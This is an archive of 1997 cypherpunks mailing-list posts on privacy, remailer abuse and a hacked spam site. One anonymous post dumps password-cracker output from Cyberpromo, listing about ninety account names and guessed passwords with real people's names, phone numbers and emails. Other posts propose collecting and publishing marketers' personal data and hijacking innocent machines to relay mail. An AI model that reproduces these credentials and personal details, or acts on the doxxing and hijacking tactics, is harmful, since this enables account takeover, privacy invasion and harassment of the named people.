| >We got computers, we're tapping phone lines, I know that that ain't allowed.
| >---------:---------:---------:---------:---------:---------:---------:----
| >Timothy C. May              | Crypto Anarchy: encryption, digital money,
| >tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
| >W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
| >Higher Power: 2^1398269     | black markets, collapse of governments.
| >"National borders aren't even speed bumps on the information superhighway."
| >
| >
| >
| >
| >
| ******************************************************
| Jonathan Gaw
| The Star Tribune
| Minneapolis, Minnesota
| jonathan@gaw.net
| *********Wasting Digital Bandwidth Since 1986*********
| 


-- 
"Well, that depends.  Do you mind the end of civilization as we know
it?"








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 22 Mar 1997 05:07:03 -0800 (PST)
To: weidai@eskimo.com
Subject: Re: "why privacy" revisited
In-Reply-To: <Pine.SUN.3.96.970321190549.21129C-100000@eskimo.com>
Message-ID: <199703221301.NAA31858@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Wei Dai <weidai@eskimo.com> writes:
> On Fri, 21 Mar 1997, Timothy C. May wrote:
> > The best arguments are not those couched in terms of "benefits" to
> > society/markets, but in terms of "lowest common denominators." I favor the
> > "Schelling point" view, and have espoused it here often.
> > 
> > In most Western systems, a reasonable Schelling point is that various
> > actors agree not to try to enter the "private spaces" of others. For
> > example, my neighbors and I agree not to enter each other's houses to pry
> > and inspect.
> > 
> > (The Schelling point is that this "boundary" point is essentially agreed
> > upon even though my neighbors and I have never formally negotiated it...as
> > with animals and their "territories," certain equilibrium points are
> > reached.)
> > 
> > In Western systems, it is recognized that the _costs_ of coercively
> > entering another's home and/or private space are too high, and so we
> > declare there to be a "right of privacy." In reality, what we mean is that
> > we accept a private domain as a Schelling point.
> 
> I think you're answering the third meaning of "why privacy", "why DOES
> privacy exist?"  This is a positive rather than a normative question
> (which is what I was asking).  I agree with you that most likely privacy
> exist because in some sense it is an equilibrium in the game of life.  But
> what I'm asking is whether it is a desirable equilibrium, and whether a
> new equilibrium involving more privacy is better than what we have now. 

Well things aren't standing still.  Absent continual watchfulness,
political lobying, and cypherpunkery (writing freeware crypto code,
and providing privacy memes), privacy is taking a huge negative hit.

You requested an argument couched market economic terms as to why
reduced privacy might be a bad idea for the market efficiency.
Consider:

Less privacy is a bad thing in market economics terms, because as
privacy takes a downwards spiral, which leads to ever increasing
government intervention, increasing sizes of governments, fascism,
etc. the free market economy will go to hell.  Poverty, and food
shortages will result, a la the former USSR, which is slowly
recovering from the decline caused by statist, facist policies.  We on
the other hand, absent pressure from outside government, law
enforcement and secret services circles are collectively headed into
that fascist driven downward spiral.in economics.

> > I reject the argument Wei Dai mentions, that market benefits could obtain
> > if society rejected privacy, for two reason. First, because in an important
> > sense rights are not the slaves of corporate or personal business
> > interests. (E.g., my interest in Alice's television viewing habits does not
> > trump her right to keep me out of her house.). Second,  because so-called
> > "market efficiency" is largely an illusion anyway.
> 
> Certainly no real market is perfectly efficient, but some markets
> are relativly more efficient than others, and most markets are more
> efficient than alternative forms of economic organization (e.g.,
> socialism) so I don't see how you can call "market efficiency" an
> illusion.  The inefficiencies I was talking about were relative to the
> case where both parties have the same information.
> 
> Also, I don't quite understand your first argument.  It seems to suggest
> that privacy should exist for no reason in particular.  If this is the
> case then it doesn't make sense to argue about the costs/benefits of
> privacy. But it is my understanding that most cypherpunks believe more
> privacy benefits everyone, and therefore work to making more privacy for
> everyone.  What I'm looking for are arguments that support this belief.

Wide-spread strong privacy tends to support a freer economy, and
reduced government overhead.

Presumably the increased market efficiency you refer to as obtainable
by reducing privacy refers to the loss of direct marketing
opportunities for commercial advertisers.  I'm not sure that this
(putative) gain in the market efficiency would be significant compared
to the huge efficiency gains to be made from dismantling or reducing
governments.

Is it not pro-competition, and supportive of a free market to have
privacy preserving technology widely used?  Then commercial
advertisers who wish to target groups of potential purchasers of their
wares, can pay the purchasers for the information.  (The information
belongs to the individual, so it seems fair that a commercial entity
should have to pay for it.)  Examples would be store loyalty cards
which offer discounts, or points, and in return obtain customer
spending patterns.  If sharper commercial interests choose to buy the
users spending patterns at reduced rates by preserving their privacy
using non-crossreferenceable Chaumian credentials, well more power to
them.  The market can decide.  This is a market based solution.

Adam

-- 
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 22 Mar 1997 11:07:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: A cypherpunk push-poll ? (Was Re: Dorothy and the four Horseman)
In-Reply-To: <Pine.LNX.3.95.970319102301.4735C-100000@fractal.mta.ca>
Message-ID: <v03020920af59dd3df26e@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


It seems to me that that whole "survey" was a classic example of "push"
polling.

That is, a poll where leading and inflamitory questions area asked about a
political opponent so that the respondent is incited to vote against that
opponent.

Maybe there should be a cypherpunk counter-poll.

Any ideas for questions?

Cheers,
Bob

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: (Alec)camcc@abraxis.com
Date: Sat, 22 Mar 1997 15:12:42 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Remailers: Free vs. Fee
Message-ID: <3.0.1.32.19970322175306.007ca580@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

A question for those legally-minded list members.

Poorly put:

Does the requirement an individual pay a fee (or the acceptance of a fee) for
remailing services create a liability on the part of the remailer in regard
to the content of the message?

Or, if the service is free does the remailer have less risk than if he
charged for it?

Alec
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBMzRiyyKJGkNBIH7lAQHaxwP/Z73JUcG9qqS2cvvSGzforGEWstlRUv8v
N9p6XUmoYoR2wo+D2wzmWsI8suIPGOwBHV5aKAds/tfJtzoPEQ7iEszREBpK1afT
6/D+KtEo1+Q0NNC8eatiJELvwqGUBBjzRXL1QP95fMQXoP0Gk70HjFZegLYWw7Fx
FSUS/XKny/g=
=sdLH
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Sat, 22 Mar 1997 20:59:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: Remailer problem solution?
In-Reply-To: <199703222156.NAA06194@swan>
Message-ID: <3.0.1.32.19970322204155.007231a8@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 01:56 PM 3/22/97 -0800, nobody@hidden.net wrote:

>John Perry is shutting down because somebody is using his remailer to
>send unkind messages to the FBI.  (BTW, probably the FBI is sending
>mean messages to the FBI.)

Perhaps it's their colleagues at another TLA. :) 

>Why would not one of these solutions work?
>
>1. Accept and send PGP encrypted messages only.

This "works" in that it reduces the number of people subjected to messages
they don't want to see, but it also makes it more difficult (or impossible)
to use remailers for tasks like:

sending info to crypto-illiterate reporters/politicians/whatever
("whistleblowing")
sending messages to newsgroups and mailing lists which don't have a shared
private key

>2. Keep a list of addresses of people who do not wish to receive mail
>from the remailers.

This is done already, but the group of people who don't want to recieve mail
from remailers but haven't signed up yet (because they don't know about
remailers) is orders of magnitude bigger than people who've signed up. Mostly
people get on the block list(s) because they've already been mailed things
they didn't want to see; by the time they learn about blocking, it's too
late.

Also, it's difficult to apply this solution to many remailers - should all
remailers block an address because one remailer operator claims to have
received a request? Or should each operator act alone, which means that one
anonymity-hostile end user must send multiple block requests? 


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBMzS0cv37pMWUJFlhAQHf6wf+PXP/Q4C1YAAue2uqLtYJo7lIi3l2huQd
dzsNIYt77tq9ThacUwyhymOD44S7kKYB95cU44NBnLnD4Unv16jH+9AU4PWeHrhJ
lqWOhYI02lJEl3NLD4c5MR0FIRqcFj2jny2FNBpmMou/v8Mh/vJLQTcPrQP9p9Y9
4yOrbQuzafRzgrmcyLbaSzEgP+uljFP6LeP6RTfYCR4+R97xxr8veSuugYVcEX/o
Z2w7w+OiMrUtFbE+kDFHJVm/wHW1w+WxDfM//BZUPLOqTI1v62CIzWoNn7dOCeX6
GN2yn8bk17YE2Nz15AIXiD55yt96cOK6L+WvktwNQXk3rcUfbLUUsw==
=N7e1
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlane@ultragrafix.com
Date: Sat, 22 Mar 1997 19:46:52 -0800 (PST)
To: Friend@public.com
Subject: Save over 50% on Microsoft Office Pro 97 & Select Phone !!!
Message-ID: <199703230334.UAA03089@getnet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----------------------------------------------------------------------
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-----------------------------------------------------------------------
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Sat, 22 Mar 1997 18:43:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cyberpromo hacked
Message-ID: <TCPSMTP.17.3.22.-11.49.46.2780269260.1581755@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

 -=> Quoting In:lharrison@mhv.net to Harka <=-

 In> At 05:00 AM 3/21/97 -0500, you wrote:
 >
 >http://www.anonymizer.com:8080/http://www.cyberpromo.com


 In> Cyberpromo is apparently blocking anonymizer's access to its
 In> page.  It also had a statement that they believe they know the
 In> identity of the hacker which they have turned over to the
 In> authorities.

Yes, have experienced the same thing. "Connection call failed".
Seemingly a lot of people have checked out their (hacked) page
anonymously and they must have disliked that idea a lot...
Which brings out a whole new issue though: is there a way besides
the Anonymizer to view a page anonymously?

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/
___ Blue Wave/386 v2.30 [NR]

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMzSWRDltEBIEF0MBAQHEOwf+PJjZl7cghkxE1FMIzemUQI4D7S3KlHpl
/ADKegTj6H46LgxU8TJoKqihlS+mCrX8TqT4C3KsDinNBnjqDl6BoawndEjlKhke
4+miPz97k3iQArO/M3FxGU1bRtJO6r4fQl7up40awewC807z6228p8CZu5JwNALf
ev7Rz1bzCqCdQUXGm47fFRimkNviYPut1IRwW2v0vdF1mncVNmWobGKZBuRDoSce
3+EXf5yxOZJvEaRjBYiZ0KvXSserH90tnLBg+4T+utLmw7QprpIiS/aBx4wxyDd+
fjT2yfKyzPUguy3+d5hQF0UXV3bsTiVqI6wHdldrKrp+WgIqn2vjPA==
=SwHo
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Sat, 22 Mar 1997 18:44:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "why privacy" revisit
Message-ID: <TCPSMTP.17.3.22.-11.50.16.2780269260.1581757@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

 -=> Quoting In:jonathan@gaw.net to Harka <=-

 In> when i talk to people like the Direct Marketer's Assn., they honestly
 In> don't understand what the fuss is about. Their attitude is, quite
 In> literally, "What's the harm being done here?"

 In> what do you think the community interested in privacy protection can
 In> do to best illustrate to the general public the "harm" in the
 In> collection of personal information?

Information warfare. Collect information about DMA people, using
their own weapons against them. Then post it somewhere on the
Internet via remailers and cc themselves, Reuters and the New York
Times...

Ciao

Harka
___ Blue Wave/386 v2.30 [NR]

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMzSWbzltEBIEF0MBAQFOzQf/SmUYerwG8oIDVe+PucyAybBAYpMBl+JT
eDl21Bs0jVa2+UXm8zDKQVDIkz004bTgpyX6vzockZ8cTUkW1UJJucjUfAXln1yB
HmdR9Go5mdurGbXf4QSN47nbfPc5V5sq8h7Ok2frFRqKLBejPSuEdP2pZo0OUPQD
bf0lE3l5lgTKlYqOzHt7NqHNAlcx3l0FOpflF+RR5DbLllBrIP7XYodMLMv+NR3T
V0oEk0woReL4+/O8iQ1oZuQ3MHNXkwCqR8w2wXnlou9ysfS58nTXgoNyFYKouGlN
Kc1bV2/G6mrG8PziTd3MsTL4TjdcmkdphZWVouo1LrEuhd3J5B4dBw==
=rbtn
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 22 Mar 1997 20:30:38 -0800 (PST)
To: Anonymous <nobody@hidden.net>
Subject: Re: Fixing the "From:" Problem
In-Reply-To: <199703222117.NAA05762@swan>
Message-ID: <3334AA18.3631@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Anonymous wrote:
> 
> Previously "The Fly on the Wall" suggested that duplicated "From:"
> lines were somehow caused by cyberpass.net because they do not occur
> on algebra.com.  This was an error.  They do seem to occur on both
> lists.

  I believe that the errors come from cyberpass.net, and only show up
on the messages that algebra.com receives from there and forwards.
 
> > Many of the messages I receive have incorrect "From:" headers. Or,
> > more precisely, they have _two_ such "From:" header lines. My
> > sorting software mislabels the senders, and, in some cases, dumps
> > messages from readers I would like to read into my trash folder.

  This is obviously the result of a conspiracy against yourself. I would
suggest that you send letters to the list exposing yourself as a Nazi
censor and a schill of your inner Sammeer.
 
> Messages in which Hal replies to another reader have a very high
> incidence of double "From:" lines.
> 
> Blanc's messages also seem to have double "From:" lines quite
> frequently which suggests there is a common mode failure here.  Are
> Blanc and Hal using the same mail software by any chance?

  I can't decide which color crayon to use to connect them on my chart.
Red, for secret lovers, or black, for evil twins?  

> The Fly on the Wall
   <swat!>

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 22 Mar 1997 20:34:00 -0800 (PST)
To: Anonymous <nobody@hidden.net>
Subject: Perry's Remailer
In-Reply-To: <199703222156.NAA06194@swan>
Message-ID: <3334AAC3.71EE@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Anonymous wrote:
> 
> John Perry is shutting down because somebody is using his remailer to
> send unkind messages to the FBI.  (BTW, probably the FBI is sending
> mean messages to the FBI.)
> 
> Why would not one of these solutions work?
> 1. Accept and send PGP encrypted messages only. 
> 2. Keep a list of addresses of people who do not wish to receive mail
> from the remailers.

  Probably because the stopping of alleged threatening letters is not
the issue actually involved, here.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 22 Mar 1997 20:32:18 -0800 (PST)
To: Kent Crispin <kent@songbird.com>
Subject: Re: The Problem with Remailers
In-Reply-To: <3.0.1.32.19970322183434.030fa800@mail.teleport.com>
Message-ID: <3334B194.4796@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin wrote:
> 
> > Any ideas on what can be done to extend the life of the remailer network?
> 
> 1) Be sure that the final mailer is in a country different than the
> target address, a country that cannot be reached legally.
> 
> 2) Randomly take over innocent machines (not part of the remailer
> network) for short periods of time to be the final mailer.  The
> innocent will be able to honestly claim they were victimized as
> well.

  Or steal a page from the spammers' books, and have the messages sent
from throwaway accounts set up at various ISP's.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sergey Goldgaber <sergey@el.net>
Date: Sat, 22 Mar 1997 20:32:28 -0800 (PST)
To: Ilya Slavin <slavin@acf2.NYU.EDU>
Subject: Re: NYU's PGP Key-Signing Seminar - a critique
In-Reply-To: <Pine.ULT.3.95.970321223855.14300B-100000@acf2.NYU.EDU>
Message-ID: <Pine.LNX.3.95.970322232027.153A-100000@void.el.net>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 21 Mar 1997, you wrote:

-> On Fri, 21 Mar 1997, Sergey Goldgaber wrote:
-> 
-> > I am writing regarding the PGP Seminar to be held on the 27th of March.
-> > Your informative session is laudible.  And, I would like to take full
-> > advantage of the key-signing session to follow.  However, there is a
-> > certain concern which it would be prudent to address first.
-> 
-> 	Dear Sergey,
-> 
-> 	You are, of course, correct about this -- I knew I missed
-> something when I was making up the instructions (I had to do it in 3
-> minutes).  I've made the correction.

Thank you for replying so promptly to my query.  I am grateful for your
sensitivity to the issues involved.


 ............................................................................
 . Sergey Goldgaber <sergey@el.net>      System Administrator        el Net .
 ............................................................................
 .   To him who does not know the world is on fire, I have nothing to say   .
 .                                                      - Bertholt Brecht   .
 ............................................................................





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Sat, 22 Mar 1997 18:22:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: some /etc/passwd stuff from Cyberpromo
Message-ID: <19970322235446.3478.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain


A little mouse just came into my house and said that the following
uz3rz at cyberpromo.com have the following passwords:

	- Ignoramus.

Guessed broot [<no-ciphertext>]  System Administrator [etc_passwd.fixed /bin/csh]
Guessed box12 [box12 [SINGER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed valscan [valscan [SINGER]]  Michael Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh]
Guessed box8 [box8 [SINGER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed greatsex [greatsex [SINGER]]  Michael J. Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh]
Guessed makemony [greatsex [SINGER]]  Michael Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh]
Guessed greatads [greatads [SINGER]]  Michael J. Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh]
Guessed vic [greatads [SINGER]]  Michael J. Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh]
Guessed box2 [box2 [SINGER]]   [etc_passwd.fixed ]
Guessed box7 [box7 [SINGER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed checknsee [checknsee [DISNEY]]  Steve Dykstra,Check-n-See Network,413-283-6645, [etc_passwd.fixed /bin/tcsh]
Guessed fixit [fixit [GEORGE]]  Terry Judge,,216-745-9444,amerwtrprf@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed box9 [box9 [SINGER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed results [results [SINGER]]  Michaek J. Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh]
Guessed box10 [box10 [SINGER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed getrich [getrich [SINGER]]  Michael J. Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh]
Guessed box5 [box5 [SINGER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed box11 [box11 [SINGER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed box3 [box3 [SINGER]]  Mike Singer,,, [etc_passwd.fixed /bin/tcsh]
Guessed box4 [box4 [SINGER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed box6 [box6 [SINGER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed gics [gics [SINGER]]  Michael J. Singer,,419-843-6100, [etc_passwd.fixed /bin/tcsh]
Guessed julie [julie [SINGER]]  Michael Singer,,, [etc_passwd.fixed /bin/tcsh]
Guessed box1 [box1 [SINGER]]  Michael Singer,, , [etc_passwd.fixed /bin/tcsh]
Guessed action [action [SUCCESS]]  Thomas Cox,,954-925-8132,dodger3@laker.net [etc_passwd.fixed /bin/tcsh]
Guessed simple [simple [SOLUTION]]  Larry Henry,Simple Solutions + Co. Inc,912-937-5606, [etc_passwd.fixed /bin/tcsh]
Guessed winnernet [winnernet [SUCCESS]]  Jon Bender,,peakpr4mer@aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed newma [newma [DANIEL]]  Jay Schneiderman,,718-379-1197, [etc_passwd.fixed /bin/tcsh]
Guessed coolbreeze [coolbreeze [SUCCESS]]  Jon Bender,,peakpr4mer@aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed esi [esi [RICHARD]]  Richard Damewood,,, [etc_passwd.fixed /bin/tcsh]
Guessed freebook [freebook [JOSEPH]]  Joe Dewey,Great Ad-Ventures,208-336-7520,joseph732@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed goldking [goldking [SPECIAL]]  Daniel Sheehy,,707-822-8324, [etc_passwd.fixed /bin/tcsh]
Guessed rav537 [rav537 [NATHAN]]  Rich Verhoef,,509-882-4733, [etc_passwd.fixed /bin/tcsh]
Guessed bfranklin [bfranklin [SUCCESS]]  Jon Bender / Gary Roggles,,919-848-5698 Fax,peakpr4mer@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed ourcoinc [ourcoinc [PROSPER]]  Sheryl Joyner,Ourco Inc.,301-931-0868, [etc_passwd.fixed /bin/tcsh]
Guessed bfepro [bfepro [BFE5253]]  Ben Ewing,BFE Enterprises,502-339-6356, [etc_passwd.fixed /bin/tcsh]
Guessed moneyman [moneyman [SUZANNE]]  Al Walentis,VG Productions,610-370-2340,cyber1@nni.com [etc_passwd.fixed /bin/tcsh]
Guessed gfaiusa [gfaiusa [MONEY]]  Cliff Durrett,,813-397-3120, [etc_passwd.fixed /bin/tcsh]
Guessed exciting [exciting [SPECIAL]]  Daniel Sheehey,,707-822-8324,djshee@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed autod [autod [GOGO]]  Stephen Gregory,,512-388-0530, [etc_passwd.fixed /bin/tcsh]
Guessed lifeinfo [lifeinfo [LIFE]]  Pete Mckeown,Life Extension,303-985-4371,leipro@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed setmefree [setmefree [SECRET]]  Steve Walker,The Financial Alliance,904-387-1628,plsfreeme@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed cowcr [cowcr [COWCR]]  Dr. Cathy L. White-Owen MD,,216-844-5950,whatzmoney@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed gpwhitepaper [gpwhitepaper [FRED]]  Ernest Orwig,Global Perspectives LLC,201-244-1200 x 239, [etc_passwd.fixed /bin/tcsh]
Guessed accobra [accobra [ACCOBRA]]  Glenn Pack,,, [etc_passwd.fixed /bin/tcsh]
Guessed gasoline [gasoline [ANTHONY]]  Mike Jacobellis,,,magnet@exp.net [etc_passwd.fixed /bin/tcsh]
Guessed herpesinfo [herpesinfo [FREECTR]]  Dr. Steve Yates,The Freedom Center,212-281-7397, [etc_passwd.fixed /bin/tcsh]
Guessed richman [richman [SUZANNE]]  Al Walentis,VG Productions,610-370-2340,cyber1@nni.com [etc_passwd.fixed /bin/tcsh]
Guessed christian [christian [SUCCESS]]  Jon Bender,peakpr4mer@aol.com,, [etc_passwd.fixed /bin/tcsh]
Guessed goinfo [goinfo [GREEN]]  Jim Hill,,609-926-9661, [etc_passwd.fixed /bin/tcsh]
Guessed datalux [datalux [WALLACE2]]  Carole Moses,Crestar Enterprises,516-223-3607,careve@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed matrix [matrix [MATRIX]]  Martin Parker,,matrixfund@aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed sti [sti [FROGGY]]  Alain Senac,,970-479-9757, [etc_passwd.fixed /bin/tcsh]
Guessed wwjp [wwjp [TRAVEL]]  Jeff Pinkus,,610-408-0386, [etc_passwd.fixed /bin/tcsh]
Guessed team1 [team1 [SUCCESS]]  Eric Gordon,,909-653-2357, [etc_passwd.fixed /bin/tcsh]
Guessed genesisgroup [genesisgroup [BRYAN]]  Barry Disney,,, [etc_passwd.fixed /bin/tcsh]
Guessed telecomm [telecomm [PARADIGM]]  Greg Scudder,,805-544-6251, [etc_passwd.fixed /bin/tcsh]
Guessed goodchecks [goodchecks [RAINBOW]]  Greg Beasley,National Payment Systems,614-792-9490, [etc_passwd.fixed /bin/tcsh]
Guessed rpalm [rpalm [HAMMER]]  Richard Palmer,Palmer Productions,510-685-7671, [etc_passwd.fixed /bin/tcsh]
Guessed info4unow [info4unow [ASHLEY]]  Marty Figgs,,302-633-4138, [etc_passwd.fixed /bin/tcsh]
Guessed skeptics [skeptics [COWCR]]  Dr. Cathy L. White-Owen MD ,,216-844-5950,whatzmoney@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed goodincome [goodincome [MARKETIN]]  Ron Linkous,,804-741-4432,rlink15133@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed tgtbt [tgtbt [COWCR]]  Dr. Cathy L. White-Owen MD ,216-844-5950,whatzmoney@aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed mailordman [mailordman [VICTOR]]  Donald Wright,,800-772-0794, [etc_passwd.fixed /bin/tcsh]
Guessed peteexcel [peteexcel [CAMERON]]  Pete Maneos,,610-337-1468,newmedia30@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed higher [higher [SUCCESS]]  Eric gordon,,909-653-2357,teammlm@earthlink.net [etc_passwd.fixed /bin/tcsh]
Guessed gasinfo [gasinfo [ANTHONY]]  Mike Jacobellis,\,,magnet@exp.net [etc_passwd.fixed /bin/tcsh]
Guessed asomerset [asomerset [SOMERSET]]  DIANNA GIBBS,,214 789-2940, [etc_passwd.fixed /bin/tcsh]
Guessed childstory [childstory [SUCCESS]]  Jon Bender,,peakpr4mer@aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed hokamix [hokamix [STERLING]]  Michael Medefind,Aellen Enterprises,916-987-1234,meandre@christcom.net [etc_passwd.fixed /bin/tcsh]
Guessed gab [gab [NEWLIFE]]  Yvonne Orthmann,,508-428-9101, [etc_passwd.fixed /bin/tcsh]
Guessed galatic [galatic [GALATIC]]  Karl Thompsan,,317-933-2828, [etc_passwd.fixed /bin/tcsh]
Guessed report [report [INTERNET]]  Bryan Sullivan,,805 772-6188, [etc_passwd.fixed /bin/tcsh]
Guessed mountain1 [mountain1 [SUCCESS]]  Jon Bender,,peakpr4mer@aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed scanman [scanman [ASHLEY]]  DAniel Goutas,,714-897-7542, [etc_passwd.fixed /bin/tcsh]
Guessed bwealthy [bwealthy [SUCCESS]]  Barry Disney,Network Marketing Group,513-554-4843, [etc_passwd.fixed /bin/tcsh]
Guessed truthnet [truthnet [SUCCESS]]  Jon Bender,,peakpr4mer@aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed essentials [essentials [SUSAN]]  Susan Pottish,,415-453-9546,svand@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed laser1 [laser1 [FREEDOM]]  Bud Riley,,612-224-8331, [etc_passwd.fixed /bin/tcsh]
Guessed mother [mother [ANTHONY]]  Mike and Amy Jacobellis,North Pole Magnet Co,409-840-9407,magnet@iosys.net [etc_passwd.fixed /bin/tcsh]
Guessed freedom4u [freedom4u [SUCCESS]]  Jon Bender,,peakpr4mer@aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed pyruvate [pyruvate [WHEELS]]  Jerry Schneider,,,pyruvate@ournetwork.com [etc_passwd.fixed /bin/tcsh]
Guessed acarnegie [acarnegie [SUCCESS]]  Jon Bender,,peakpr4mer@aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed tatiana [tatiana [JOSEPH]]  Jose Diaz,Diaz Specialty Merchandise,718-672-6225, [etc_passwd.fixed /bin/tcsh]
Guessed gor [gor [GORAVANI]]  Das Goravani,Goravani Astrological Services,800-532-6528 or 541-485-8453, [etc_passwd.fixed /bin/tcsh]
Guessed somerset [somerset [SOMERSET]]  Dianna Gibbs,,214-789-2940, [etc_passwd.fixed /bin/tcsh]
Guessed wheels [wheels [WHEELS]]  Tony Marsello,,,multichev@earthlink.net [etc_passwd.fixed /bin/tcsh]
Guessed freeeagle [freeeagle [FREEDOM]]  Joe Reynolds,,, [etc_passwd.fixed /bin/tcsh]
Guessed team2 [team2 [SUCCESS]]  Eric Gordon,,909-653-2357, [etc_passwd.fixed /bin/tcsh]
Guessed aplus [aplus [STUDY]]  Tim Ryan,A+ Tutors,603-659-5903, [etc_passwd.fixed /bin/tcsh]
Guessed theraven [theraven [KABOOM]]  Leonora Torian,,410-727-2611, [etc_passwd.fixed /bin/tcsh]
Guessed lash [lash [ANTHONY]]  bob Anthony / Larry Kirsch,,954-748-3510, [etc_passwd.fixed /bin/tcsh]
